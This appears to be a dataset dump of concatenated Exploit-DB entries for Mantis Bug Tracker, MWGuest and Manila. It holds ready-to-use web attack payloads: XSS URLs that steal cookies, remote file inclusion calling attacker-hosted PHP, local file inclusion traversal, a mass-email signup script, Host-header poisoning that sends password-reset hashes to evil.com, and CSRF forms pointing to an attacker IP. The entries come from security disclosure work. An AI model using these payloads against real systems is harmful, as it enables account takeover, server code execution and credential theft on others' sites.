deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27713
Description: Manic Web MWGuest 2.1 - 'MWguest.php' HTML Injection
Type: webapps
Platform: php
Date: 2006-04-20
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17630/info

MWGuest is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

Version 2.1.0 is vulnerable. Prior versions may be vulnerable as well.

URL: http://www.example.com/mwguest/mwguest.php
Homepage: ">[XSS]<aaa aaa="
Exploit-DB #27666
Description: Manila 9.0.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-17
Author: Aaron Kaplan

Exploit:
source: https://www.securityfocus.com/bid/17563/info

Manila is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/discuss/msgReader$1?mode=%22%3E%3Cscript%3Ealert('XSS!')%3C/script%3E

http://www.example.com/sendMail?usernum=2500&referer=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E
Exploit-DB #21727
Description: Mantis Bug Tracker 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution
Type: webapps
Platform: php
Date: 2002-08-19
Author: Joao Gouveia

Exploit:
source: https://www.securityfocus.com/bid/5504/info

Mantis depends on include files to provide some functionality, such as dynamic generation of graphs. However, since Mantis does not properly validate the path to the include file, it is possible for attackers to specify an arbitrary path, either to a local file or a file on a remote server. 

Attackers may use this to include PHP files located on remote servers. Execution of arbitrary commands with the privileges of the webserver is the result of successful exploitation.

The attacker may create the following file (listings.txt) on a server they have access to:

<?php
system('ls');
exit;
?>

And then cause it to be included with the following request:

http://target/mantis/summary_graph_functions.php?g_jpgraph_path=http%3A%2F%2Fattackershost%2Flistings.txt%3F
Exploit-DB #24390
Description: Mantis Bug Tracker 0.19 - Remote Server-Side Script Execution
Type: webapps
Platform: php
Date: 2004-08-21
Author: Jose Antonio

Exploit:
source: https://www.securityfocus.com/bid/10993/info

Mantix is reportedly susceptible to a remote server-side script execution vulnerability. This vulnerability only presents itself when PHP is configured on the hosting computer with 'register_globals = on'.

When PHP is configured to register global variables, an attacker can override variables used by the application in require() statements. By including a URI reference to a web server hosting a malicious script in GET, POST, or cookie data, an attacker can cause the PHP interpreter on the server hosting the affected package to request and execute attacker-supplied code.

This vulnerability could be exploited by a remote attacker to execute arbitrary script code in the context of the server hosting the affected application.

Version 0.19.0a is reported vulnerable to this issue. Other versions are also likely affected. 

http://www.example.com/mantis/core/bug_api.php?t_core_dir=http://attackers.example.com/
Exploit-DB #26423
Description: Mantis Bug Tracker 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion
Type: webapps
Platform: php
Date: 2005-10-26
Author: Andreas Sandblad

Exploit:
source: https://www.securityfocus.com/bid/15212/info

Mantis is prone to a remote and local file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote and local PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

Versions 0.19.2 and 1.0.0rc2 are affected; an upgrade to version 0.19.3 is available. 

http://www.example.com/bug_sponsorship_list_view_inc.php?
t_core_path=http://[host]/[file].php?
http://www.example.com/bug_sponsorship_list_view_inc.php?
t_core_path=../../../../../../../[file]%00
Exploit-DB #24391
Description: Mantis Bug Tracker 0.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-08-21
Author: Jose Antonio

Exploit:
source: https://www.securityfocus.com/bid/10994/info

Mantis is a web-based bug tracking system. It is written in PHP and supported by a MySQL database.

It is reported that Mantis is affected by cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

These vulnerabilities are reported to be fixed in the CVS version of Mantis as of 1 Aug 2004. 

http://www.example.com/login_page.php?return=[XSS]
http://www.example.com/signup.php?username=user&email=[XSS]
http://www.example.com/login_select_proj_page.php?ref=[XSS]
http://www.example.com/login_select_proj_page.php?ref=%22%3E[XSS]
http://www.example.com/view_all_set.php?type=1&reporter_id=5031&hide_status=80<script>alert('hi')</script>
Exploit-DB #24392
Description: Mantis Bug Tracker 0.x - New Account Signup Mass Emailing
Type: webapps
Platform: php
Date: 2004-08-21
Author: Jose Antonio

Exploit:
source: https://www.securityfocus.com/bid/10995/info

Mantis is reportedly susceptible to a vulnerability in its signup process allowing mass email attacks.

When a new user signs up to Mantis, the system automatically sends an email message to the given email address. This email contains the users new password for the affected Mantis bug tracking system.

Mantis fails to ensure that only one account exists with the specified email address, and therefor an attacker can create a massive amount of email, directed at any target they wish. This email will originate from the Mantis server, and not the attacker.

The vendor has implemented a captcha system for new account signup requests in the CVS version of the software. All currently released versions of the software are reported vulnerable. 

<?php

//Please, change it becuase is my e-mail :)
$email = "anyemail@address";
$base_user = "test";
$i = 0;
$site = "http://www.example.com";

for ($i=0;$i<=15;$i++)
{
echo("Sending e-mail number $i\n");
$user = "$base_user$i";
echo("New user is $user\n");
$url =
"http://$site/signup.php?username=$user&email=$email";
echo("URL is $url\n");
$fd = fopen($url,"r");
echo("E-mail $i sended\n");
fclose($fd);
}

?>
Exploit-DB #27229
Description: Mantis Bug Tracker 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-15
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/16657/info
 
Mantis is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/manage_user_page.php?sort=[XSS]
Exploit-DB #27228
Description: Mantis Bug Tracker 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-15
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/16657/info

Mantis is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/view_all_set.php?type=1&handler_id=1&hide_status=[XSS]
http://www.example.com/view_all_set.php?type=1&handler_id=[XSS]
http://www.example.com/view_all_set.php?type=1&temporary=y&user_monitor=[XSS]
http://www.example.com/view_all_set.php?type=1&temporary=y&reporter_id=[XSS]
http://www.example.com/view_all_set.php?type=6&view_type=[XSS]
http://www.example.com/view_all_set.php?type=1&show_severity=[XSS]
http://www.example.com/view_all_set.php?type=1&show_category=[XSS]
http://www.example.com/view_all_set.php?type=1&show_status=[XSS]
http://www.example.com/view_all_set.php?type=1&show_resolution=[XSS]
http://www.example.com/view_all_set.php?type=1&show_build=[XSS]
http://www.example.com/view_all_set.php?type=1&show_profile=[XSS]
http://www.example.com/view_all_set.php?type=1&show_priority=[XSS]
http://www.example.com/view_all_set.php?type=1&highlight_changed=[XSS]
http://www.example.com/view_all_set.php?type=1&relationship_type=[XSS]
http://www.example.com/view_all_set.php?type=1&relationship_bug=[XSS]
Exploit-DB #26798
Description: Mantis Bug Tracker 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15842/info

Mantis is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/view_filters_page.php?for_screen=1&target_field=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #26172
Description: Mantis Bug Tracker 0.x/1.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-19
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/14604/info

Mantis is prone to multiple input validation vulnerabilities. These issues involve cross-site scripting, HTML injection and variable poisoning, and are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage the cross-site scripting issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Successful exploitation of the HTML injection issue could result in having attacker-supplied HTML and script code executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

The variable poisoning issue could result in unauthorized access and denial of service attacks. 

A - Cross Site Scripting Vulnerabilities

http://www.example.com/view_all_set.php?sort=severity&dir="><script>alert(document.cookie)</script>&type=2

B.- Database scanner via variable poisoning

http://www.example.com/core/database_api.php?g_db_type=mysql://invaliduser@localhost:3336
http://www.example.com/core/database_api.php?g_db_type=mysql://root@localhost:3336
http://www.example.com/core/database_api.php?g_db_type=informix://localhost:8080
http://www.example.com/core/database_api.php?g_db_type=mysql://root@10.x.y.z
Exploit-DB #36068
Description: Mantis Bug Tracker 1.1.8 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2011-08-18
Author: Net.Edit0r

Exploit:
source: https://www.securityfocus.com/bid/49235/info

MantisBT is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MantisBT 1.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/path/search.php?project_id=[XSS]
http://www.example.com/path/core.php?mbadmin=[SQL]
Exploit-DB #38068
Description: Mantis Bug Tracker 1.2.19 - Host Header
Type: webapps
Platform: php
Date: 2015-09-02
Author: Pier-Luc Maltais

Exploit:
# Exploit Title: MantisBT 1.2.19 - Host header attack vulnerability
# Date: 07-09-2015
# Exploit Author: Pier-Luc Maltais
				  Centre opérationnel de sécurité informatique gouvernemental (COSIG)
# Vendor Homepage: https://www.mantisbt.org/
# Software Link: http://sourceforge.net/projects/mantisbt/files/mantis-stable/
# Version: 1.2.19
# Contact: https://twitter.com/plmaltais
		   http://plmsecurity.net/mantis_host_header_attack

==========================
Vulnerability Description:
==========================

MantisBT 1.2.19 is vulnerable to an Host header attack that can
be exploited by an unauthenticated user to hijack another user account.
 
==================
Technical Details:
==================

This exploit use the Host header attack to poison the link in the
password reset mail. You need to know the victim username and 
e-mail. You also need a remote host that you control to catch the 
verification hash needed for password reset.

1.  Access the password reset feature and fill the form with the
    victim username and e-mail.

    http://{VULNERABLE_MANTIS}/mantisbt/lost_pwd_page.php

2.  Using an intercepting proxy like Burp, change the Host header 
    with your evil host.

    Original request :
    
    POST /mantisbt/lost_pwd_page.php HTTP/1.1
    Host : {VULNERABLE_MANTIS}
    [...]
    
    Modified request : 
    
    POST /mantisbt/lost_pwd_page.php HTTP/1.1
    Host : evil.com
    [...]
    
3.  When the user receive the e-mail, the link is poisoned with 
    the evil host.

    [...]
    visit the following URL to change your password: 
    http://evil.com/mantisbt/verify.php?id=1&confirm_hash=81ece020dfcd6d53e02c5323583cdead 
    [...]
    
4.  Now, when the victim click on the link to reset his password,
    his verification hash will be sent to our evil host. All we 
    have to do is access the verify.php page with his hash, so
    we can change his password and hijack his account.
    
    http://{VULNERABLE_MANTIS}/mantisbt/verify.php?id=1&confirm_hash=81ece020dfcd6d53e02c5323583cdead 
 
=========
Solution:
=========

Use 
$_SERVER['SERVER_NAME'] (server controlled) 
instead of 
$_SERVER['HTTP_HOST'] (client controlled)
 
====================
Disclosure Timeline:
====================

16/02/2015 - Found the vulnerability
17/02/2015 - Wrote this advisory
17/02/2015 - Contacted developers on MantisBT forum
18/02/2015 - Opened an issue in the bug tracker
01/09/2015 - Still not patched, releasing this advisory.
 
===========
References:
===========

[1] http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
[2] http://stackoverflow.com/questions/2297403/http-host-vs-server-name/2297421#2297421
Exploit-DB #15735
Description: Mantis Bug Tracker 1.2.3 - 'db_type' Cross-Site Scripting / Full Path Disclosure
Type: webapps
Platform: php
Date: 2010-12-15
Author: LiquidWorm

Exploit:
 MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability

 
 Vendor: MantisBT Group
 Product web page: http://www.mantisbt.org
 Version affected: <1.2.4

 Summary: MantisBT is a free popular web-based bugtracking system. It is written in the PHP
 scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver.
 MantisBT has been installed on Windows, Linux, Mac OS, OS/2, and others. Almost any web
 browser should be able to function as a client. It is released under the terms of the GNU
 General Public License (GPL).

 Desc: Mantis Bug Tracker suffers from a cross-site scripting and a path disclosure
 vulnerability. The XSS issue is triggered when input passed via the "db_type" parameter
 to the admin/upgrade_unattended.php script is not properly sanitised before being returned
 to the user. This can be exploited to execute arbitrary HTML and script code in a user's
 browser session in context of an affected site. The PD weakness is caused due to the
 application displaying the full installation path in an error report, when supplying an
 invalid "db_type" parameter to the admin/upgrade_unattended.php script.

 Tested on: Microsoft Windows XP Professional SP3 (English)
            Debian GNU/Linux (squeeze)
            Apache 2.2.14 (Win32)
            MySQL 5.1.41
            PHP 5.3.1

 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                              liquidworm gmail com
                              Zero Science Lab - http://www.zeroscience.mk

 
 Advisory ID: ZSL-2010-4983
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4983.php
 Vendor Advisory URL: http://www.mantisbt.org/bugs/view.php?id=12607

 13.12.2010


 PoC:
 ----------

  Dork: Copyright+MantisBT Group

  XSS: http://[MANTIS_ROOT_HOST]/admin/upgrade_unattended.php?db_type=%3Cscript%3Ealert%281%29%3C/script%3E

  PD: http://[MANTIS_ROOT_HOST]/admin/upgrade_unattended.php?db_type=%27

 ----------
Exploit-DB #15736
Description: Mantis Bug Tracker 1.2.3 - 'db_type' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-15
Author: LiquidWorm

Exploit:
 MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability

 
 Vendor: MantisBT Group
 Product web page: http://www.mantisbt.org
 Version affected: <1.2.4

 Summary: MantisBT is a free popular web-based bugtracking system. It is written in the PHP
 scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver.
 MantisBT has been installed on Windows, Linux, Mac OS, OS/2, and others. Almost any web
 browser should be able to function as a client. It is released under the terms of the GNU
 General Public License (GPL).

 Desc: Mantis Bug Tracker suffers from a local file inlcusion/disclosure (LFI/FD) vulnerability
 when input passed thru the "db_type" parameter (GET & POST) to upgrade_unattended.php script is
 not properly verified before being used to include files. This can be exploited to include files
 from local resources with directory traversal attacks and URL encoded NULL bytes.



 ====================================================================================
 --> library/adodb/adodb.inc.php

 ...

 4109:
 4110: $file = ADODB_DIR."/drivers/adodb-".$db.".inc.php";
 4111: @include_once($file);

 ...

 ====================================================================================



 Tested on: Microsoft Windows XP Professional SP3 (English)
            Debian GNU/Linux (squeeze)
            Apache 2.2.14 (Win32)
            MySQL 5.1.41
            PHP 5.3.1

 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                              liquidworm gmail com
                              Zero Science Lab - http://www.zeroscience.mk

 
 Advisory ID: ZSL-2010-4984
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4984.php
 Vendor Advisory URL: http://www.mantisbt.org/bugs/view.php?id=12607

 13.12.2010


 PoC:
 ----------

  Dork: Copyright+MantisBT Group

  LFI/FD: http://[MANTIS_ROOT_HOST]/admin/upgrade_unattended.php?db_type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00

 ----------
Exploit-DB #42043
Description: Mantis Bug Tracker 1.3.10/2.3.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-05-20
Author: hyp3rlinx

Exploit:
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.mantisbt.org



Product:
=========
Mantis Bug Tracker
1.3.10 / v2.3.0


MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.



Vulnerability Type:
========================
CSRF Permalink Injection



CVE Reference:
==============
CVE-2017-7620



Security Issue:
================
Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.

Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.
Line: 270

# Check for URL's pointing to other domains

if( 0 == $t_type || empty( $t_matches['script'] ) ||
	
    3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {

	

    return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';

}



# Start extracting regex matches

$t_script = $t_matches['script'];       
$t_script_path = $t_matches['path'];




Exploit/POC:
=============
<form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST">
<script>document.forms[0].submit()</script>
</form>

OR

<form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST">
<script>document.forms[0].submit()</script>
</form>



Network Access:
===============
Remote




Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: April 9, 2017
Vendor Release Fix: May 15, 2017
Vendor Disclosed: May 20, 2017
May 20, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx